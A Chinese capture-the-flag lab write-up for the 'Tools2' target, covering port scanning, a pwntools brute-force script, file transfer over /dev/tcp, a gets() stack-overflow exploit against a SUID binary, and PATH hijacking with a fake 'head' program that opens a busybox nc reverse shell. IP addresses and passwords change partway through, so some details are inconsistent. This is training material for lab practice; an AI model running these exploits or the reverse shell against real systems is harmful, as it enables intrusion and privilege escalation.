Tools2靶场学习笔记

正文

kali攻击机地址:192.168.67.181

靶场地址:192.168.67.176

一、端口扫描与代码审计

在kali里,使用nmap工具:

bash 复制代码
nmap 192.168.67.176 -p-

访问80端口,代码审计能发现密码:thehackerlabs

针对1337端口,nc连接过去:

看要求,还要写随机数。

二、编写pwn脚本跑随机数

构造一个随机数的脚本:

python 复制代码
from pwn import *
import re

for i in range(1000):
    r = remote("192.168.67.176",1337)
    r.recvuntil(b'Please enter password: ')
    r.sendline(b'thehackerlabs')

    r.recvuntil(b'Please enter a number (1-1000): ')
    r.sendline(b'500')
    a = r.recvall().decode()
    if 'Wrong' not in a:
        print(a)
        break

最后跑出来用户名和密码welcome/vulnyx:

在opt目录下发现可以提权的程序todd:

bash 复制代码
-rwsr-sr-x 1 root root 16952 Jun 16 2025 todd
  • -普通二进制程序(红色文件名,setuid/setgid 标记高亮)

  • 第 4 位 s:Set‑UID 位(SUID)

    • 文件属主是 root,设置 SUID 后:不管哪个普通用户运行这个 todd 程序,进程都会以文件所有者 root 身份执行
  • 第 7 位 s:Set‑GID 位(SGID)

    • 运行时进程使用文件所属组 root 的权限

✨CTF 考点:SUID 提权

普通用户执行./todd,程序运行身份 = root,如果程序有漏洞,就可以拿到 root 权限。

权限拆解:-rw s r‑ s r‑x

  1. 属主权限 rw- + SUID (s) → rw s
  2. 用户组权限 r-- + SGID (s) → r‑ s
  3. 其他用户 r‑x:任何人都可读、可执行

三、文件传输逆向分析todd程序

先分析一下这个todd程序是干什么的,用攻击机接收:

python 复制代码
nc -lp 1234 > todd

靶机上传:

python 复制代码
cat todd > /dev/tcp/192.168.67.181/1234 

四、ida逆向发现todd可劫持命令函数,计算偏移量

用ida 软件打开,对着main函数F5反编译一下:

进入vulnerable()函数 里:

这里可以看出,使用gets函数,会导致栈溢出。

在靶机里,使用pwndbg工具调式,计算一下偏移量。

bash 复制代码
pwndbg todd
r

在攻击机里生成100个数字,测试偏移量

bash 复制代码
msf-pattern_create -l 100

可以看到在靶机里,将字符串Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A写入地址0x7ffeecc7b3a8时,发生栈溢出了。

那我们在攻击机里,计算一下偏移量:

bash 复制代码
msf-pattern_offset -q Ac4A 

证明偏移量是72,那就得生成72个字符A,并生成4字节B:

bash 复制代码
perl -le 'print "A"x72 . "BBBB"' 

生成如下字符:

bash 复制代码
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

五、靶机端口代理出来,编写exp脚本连接上去做路径劫持操作,获取flag。

先在靶机里做一个端口转发:

bash 复制代码
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

再到IDA里,找到todd函数的地址,F5反编译后,空格键,tab键能找到调用todd函数的地址:

编写exp,并在攻击机里运行:

python 复制代码
from pwn import *
import re

r = remote("192.168.31.133",12345)
r.recvuntil(b'Enter password: ')
r.sendline(b'hackmyvm')

junk = b'A' * 72
todd = p64(0x4011B2)

payload = junk + todd

r.sendline(payload)
r.interactive()

可以看到执行了靶机里同目录下的a.txt文件。

所以我们可以在靶机上,去临时目录下做一个自己创造的head程序,骗靶机去执行我们的head。

操作如下:

bash 复制代码
cd /tmp
echo 'busybox nc 192.168.31.188 1234 -e /bin/bash' > head
chmod +x head 
export PATH=/tmp:$PATH
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

攻击机再开一个窗口,监听1234端口:

bash 复制代码
nc -lp 1234
id

成功获取到flag:

相关推荐
Go Work1 小时前
docker 占满根分区时先分清谁在吃盘
经验分享·笔记
3095566662 小时前
股票接口返回 404 与空数组的排查笔记:证书状态与级别参数
java·笔记·python·ios·iphone·股票数据api·股票数据接口
蒸蒸yyyyzwd2 小时前
从邓明学习的后端笔记
笔记·学习
岑梓铭3 小时前
《考研408数据结构》第八章(排序)复习笔记
数据结构·笔记
机器学习之心3 小时前
基于变量相关图与残差学习的 GCN 多变量回归方法——混凝土 28 天抗压强度预测
学习·回归·gcn
Rabitebla15 小时前
【Linux】进程控制(十二) 自定义 Shell(二):内建命令与进程工作目录管理
linux·c++·笔记·学习·bash
Gary移动存储固件16 小时前
eMMC5.1协议中文学习讲解(6.6.17~6.6.22.4.6)
学习·ufs·emmc·nand·存储固件
一个天蝎座 白勺 程序猿16 小时前
别让收藏夹替你学习:我搭AI知识体系的完整方法,脚本直接拿去用
人工智能·学习·ai·ai学习
楚山之石17 小时前
【Nat Biomed Eng】Connectome 2.0 超高梯度扫描仪:500 mT/m 与 600 T/m/s 把活体人脑微观结构分辨推进到亚微米级
图像处理·学习·数据分析·mri
坤坤子吖19 小时前
Linux网络编程:TCP 粘包与半包问题,如何正确处理 TCP 流式数据?
linux·服务器·网络·笔记·网络协议·学习